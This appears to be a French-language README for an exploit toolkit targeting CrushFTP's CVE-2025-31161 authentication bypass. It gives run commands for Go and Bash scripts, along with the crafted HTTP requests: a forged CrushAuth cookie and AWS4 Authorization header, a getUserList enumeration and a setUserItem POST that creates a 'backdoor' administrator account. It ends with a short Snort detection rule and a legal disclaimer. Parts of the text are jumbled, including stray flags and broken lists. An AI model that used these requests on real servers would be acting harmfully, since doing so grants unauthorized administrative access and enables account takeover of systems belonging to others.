
Exploit pour CrushFTP CVE-2025-31161 contournement d'authentification : détecte les cibles vulnérables, énumère les utilisateurs et crée des comptes administrateur non autorisés via des requêtes HTTP conçues en Go et Bash.
Une boîte à outils complète pour exploiter CVE-2025-31161, une vulnérabilité de contournement d'authentification dans CrushFTP qui permet la création non autorisée de comptes utilisateurs.
CVE-2025-31161 est une vulnérabilité critique de contournement d'authentification dans CrushFTP qui permet aux attaquants de créer des comptes utilisateurs non autorisés sans authentification appropriée. Cette vulnérabilité existe dans la fonctionnalité de gestion des utilisateurs de l'interface web.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # This documentation
├── cve-2025-31161.go # Go implementation (recommended)
├── cve-2025-31161.sh # Bash implementation
└── LICENSE # MIT License
# Install Go (if not already installed)
sudo apt install golang-go
# or
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Requires curl (usually pre-installed)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Basic usage with shorthand flags
go run cve-2025-31161.go -t example.com -lu
# With custom port
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Long form flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Create new user (will prompt for username/password)
go run cve-2025-31161.go -t example.com -au
# With custom target user (default: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Long form flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Basic usage
./cve-2025-31161.sh -t example.com -lu
# With custom port
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Create new user
./cve-2025-31161.sh -t example.com -au
# With custom settings
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Example 1: Enumerate users on target
go run cve-2025-31161.go -t ftp.example.htb -lu
# Example 2: Create backdoor account
go run cve-2025-31161.go -t ftp.example.htb -au
# Then enter: username: backdoor, password: P@ssw0rd123
# Example 3: Non-standard port with user enumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# View help
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2Le script envoie d'abord une requête getUserList pour vérifier si la cible est vulnérable :
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Si la réponse contient <response_status>OK</response_status>, la cible est vulnérable.
Lors de l'utilisation du drapeau -lu, le script analyse la réponse XML et extrait les noms d'utilisateurs :
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Sortie :
[+] Users:
- ben
- crushadmin
- default
Lors de l'utilisation du drapeau -au, le script envoie une requête setUserItem avec une charge utile XML malveillante :
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
Le script vérifie la présence de <response_status>OK</response_status> dans la réponse pour confirmer la création réussie de l'utilisateur.
La vulnérabilité provient de vérifications d'authentification insuffisantes dans la fonctionnalité de gestion des utilisateurs de l'interface web CrushFTP. L'application accepte les demandes de création d'utilisateurs sans valider correctement les permissions de l'appelant.
setUserItem inhabituelles dans les journaux web/webinterface/function/# Snort/Suricata Rule Example
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ IMPORTANT : Cet outil est conçu pour :
NE PAS UTILISER sur des systèmes sans autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal et peut entraîner de graves conséquences juridiques.
Les contributions sont les bienvenues ! Merci de :
git checkout -b feature/amelioration)git commit -am 'Ajouter une nouvelle fonctionnalité')git push origin feature/amelioration)| Version | Date | Modifications |
|---|---|---|
| 1.0.0 | 2025-01-XX | Version initiale avec implémentations Go et Bash |
| 1.1.0 | 2025-01-XX | Mode interactif et détection de vulnérabilité |
Pour toute question, suggestion ou problème de sécurité, veuillez ouvrir une issue dans ce dépôt.
| Indicateur | Forme longue | Description | Défaut |
|---|
-t | --target_host | Nom d'hôte ou IP cible (obligatoire) | - |
-p | --port | Port cible | 80 |
-tu | --target_user | Utilisateur cible pour l'exploitation | crushadmin |
-lu | --list-users | Lister les utilisateurs existants | - |
-au | --add-user | Ajouter un nouvel utilisateur (interactif) | - |
--help | Afficher le message d'aide | - |
| 1.2.0 | 2025-10-02 | Ajout de l'énumération des utilisateurs (-lu), mode d'ajout d'utilisateur séparé (-au), indicateurs abrégés (-t, -p, -tu) |